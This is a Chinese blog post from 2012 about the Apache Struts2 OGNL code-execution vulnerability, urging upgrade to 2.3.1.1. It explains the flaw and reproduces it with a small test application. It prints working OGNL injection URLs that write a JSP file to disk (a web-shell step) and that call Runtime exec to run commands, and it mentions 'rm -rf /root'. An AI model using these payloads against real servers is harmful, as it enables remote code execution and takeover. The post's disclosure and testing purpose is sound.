struts2代码执行漏洞

共计 2071 个字符,预计需要花费 6 分钟才能阅读完成。

刚刚 @乌云 - 漏洞报告平台 公布的 struts2 代码执行漏洞,具体的漏洞说明地址

https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt

还是热乎的,我大概白话一下。

这个漏洞的级别很高,都升级修补一下。

影响版本是 2.3.1 和 2.3.1 之前的版本

解决办法是升级 2.3.1.1

漏洞原理(自己理解的)

Struts2 的核心是使用的 WebWork,处理 Action 时通过 ParametersInterceptor(参数过滤器)调用 Action 的 getter/setter 方法来处理 http 的参数,它将每个 http 参数声明为一个 ONGL 语句。

例如

处理请求配置这样

<action name="Test" class="example.Test">

&nbsp;&nbsp;&nbsp; <result name="input">test.jsp</result>

</action>

通过 ONGL 就可以转换成

/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’

oh!god!系统权限就有了,想干什么,就可以干什么了。

或者这样

/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@[email protected]().exec(‘calc’))%2b’

想执行什么就可以执行什么了。比如 rm –rf /root..

我根据说明做了一下测试

jdk:1.6

struts:2.2.1

代码如下:

struts.xml

   1:<?xmlversion="1.0"encoding="UTF-8" ?>



   2:<!DOCTYPEstrutsPUBLIC



   3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"



   4:"http://struts.apache.org/dtds/struts-2.0.dtd">



   5:<struts>



   6:<packagename="default"namespace="/"extends="struts-default">



   7:<actionname="test"class="me.dapeng.action.Test">



   8:<resultname="input">test.jsp</result>



   9:</action>



  10:</package>



  11:</struts>




Test.java




   1:package me.dapeng.action;



   2: 



   3:import com.opensymphony.xwork2.ActionSupport;



   4: 



   5:/**



   6: * 



   7: * @ClassName:Test.java.java



   8: * @ClassDescription: 测试 Struts2 漏洞



   9: * @Author:dapeng



  10: * @CreatTime:2012-1-9 下午 1:45:36



  11: * 



  12: */



  13:publicclass Test extends ActionSupport {



  14:long id;



  15: 



  16:     @Override



  17:public String execute() throws Exception {



  18:         System.out.println("execute input");



  19:return"input";



  20:     }



  21: 



  22:publiclong getId() {



  23:return id;



  24:     }



  25: 



  26:publicvoid setId(long id) {



  27:this.id = id;



  28:     }



  29: 



  30: }




test.jsp


   1: <%@ page language="java"import="java.util.*" pageEncoding="ISO-8859-1"%>



   2: <%@ taglib prefix="s" uri="/struts-tags"%>



   3: <br>



   4: <s:property value="id" />




请求 URL


http://localhost:8080/test/test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/create.jsp")).append("jsp+shell").close())%2b’


结果:


通过 URL 产生了自定义的文件,如果你想执行什么脚本都可以了。


http://images.dapeng.me/dapengme/2012/01/struts2_B205/struts2_holes_thumb.jpg


我也值测试了其中一种情况,其他的漏洞测试就不做了,没升级到安全版本的,赶紧升级吧!最近的安全问题很多的,别等出了安全问题,再想办法,亡羊补牢,为时已晚已!

正文完
 
zhaopeng
版权声明:本站原创文章,由 zhaopeng 2012-01-09发表,共计2071字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)